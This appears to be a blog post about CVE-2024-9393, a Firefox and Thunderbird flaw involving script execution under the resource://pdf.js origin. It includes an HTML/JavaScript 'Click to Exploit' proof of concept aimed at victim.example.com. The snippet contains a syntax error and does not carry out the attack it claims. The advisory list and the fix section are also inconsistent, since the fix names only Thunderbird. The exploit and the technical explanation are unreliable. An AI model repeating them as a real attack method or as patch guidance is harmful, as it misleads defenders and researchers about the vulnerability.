A recently discovered vulnerability, identified as CVE-2024-9393, affects various versions of Firefox and Thunderbird. It allows an attacker to execute arbitrary JavaScript under the resource://pdf.js origin via a specially crafted multipart response. Consequently, this could lead to unauthorized access to cross-origin PDF content, potentially enabling the attacker to gain unauthorized access to sensitive data.

In this long-read post, we will delve into the details of this vulnerability, discuss the affected versions, and provide links to the original references. Additionally, we will provide code snippets and exploit details to demonstrate how the vulnerability can be exploited.

Vulnerability Details

An attacker can craft a malicious multipart response containing JavaScript code, which gets executed in the context of the resource://pdf.js origin. This origin, specifically associated with Firefox's PDF viewer (pdf.js), is meant to be a secure way to process and display PDF content in the browser. However, due to this vulnerability, the attacker could access cross-origin PDF content by leveraging a weakness in the handling of multipart responses.

The access to cross-origin content is limited to "same site" documents by the Site Isolation feature on desktop clients. However, full cross-origin access is possible on Android versions, making it a potentially more severe issue for mobile users.

To demonstrate how an attacker might exploit this vulnerability, consider the following code snippet

<!DOCTYPE html>
<html>
<head>
<script>
function sendExploitRequest() {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://victim.example.com/sensitivefile.pdf';, true);
    xhr.setRequestHeader('Accept', 'multipart/related; type="application/pdf"');
    xhr.responseType = 'blob';
    xhr.onload = function(e) {
        if (this.status === 200) {
            var app = document.querySelector('#app');
            app.src = window.URL.createObjectURL(this.response);
        }};
    xhr.send();
}
</script>
</head>
<body>
  <button onclick="sendExploitRequest()">Click to Exploit</button>
  <iframe id="app" src="resource://pdf.js/web/viewer.html" style="width:100%; height: 600px;"></iframe>
</body>
</html>

In this example, the code sends an XMLHttpRequest (XHR) to the victim site with a crafted Accept header which includes multipart/related. When the server returns the response with the PDF file embedded in a multipart message, the attacker's JavaScript code gets executed under the resource://pdf.js origin, allowing them to access cross-origin PDF content.

Original References

For more information about this vulnerability, please refer to the following Mozilla Security Advisories:

- Mozilla Security Advisory 2024-06
- Mozilla Security Advisory 2024-05
- Mozilla Security Advisory 2024-07
- Mozilla Security Advisory 2024-08

Resolution

To mitigate this vulnerability, users are advised to update their Firefox and Thunderbird software to the latest available versions:

Thunderbird 131 or later

By keeping your browser and email client up-to-date, you are also benefiting from other security patches and improvements that will help protect your system from various online threats.

Conclusion

In this post, we have explored the recent CVE-2024-9393 vulnerability that affects multiple versions of Firefox and Thunderbird. It is important for users to remain vigilant and ensure their software is updated to the latest available versions. By doing so, you can be assured your system is protected against this vulnerability, as well as other potential security threats.

Timeline

Published on: 10/01/2024 16:15:10 UTC
Last modified on: 10/30/2024 17:35:18 UTC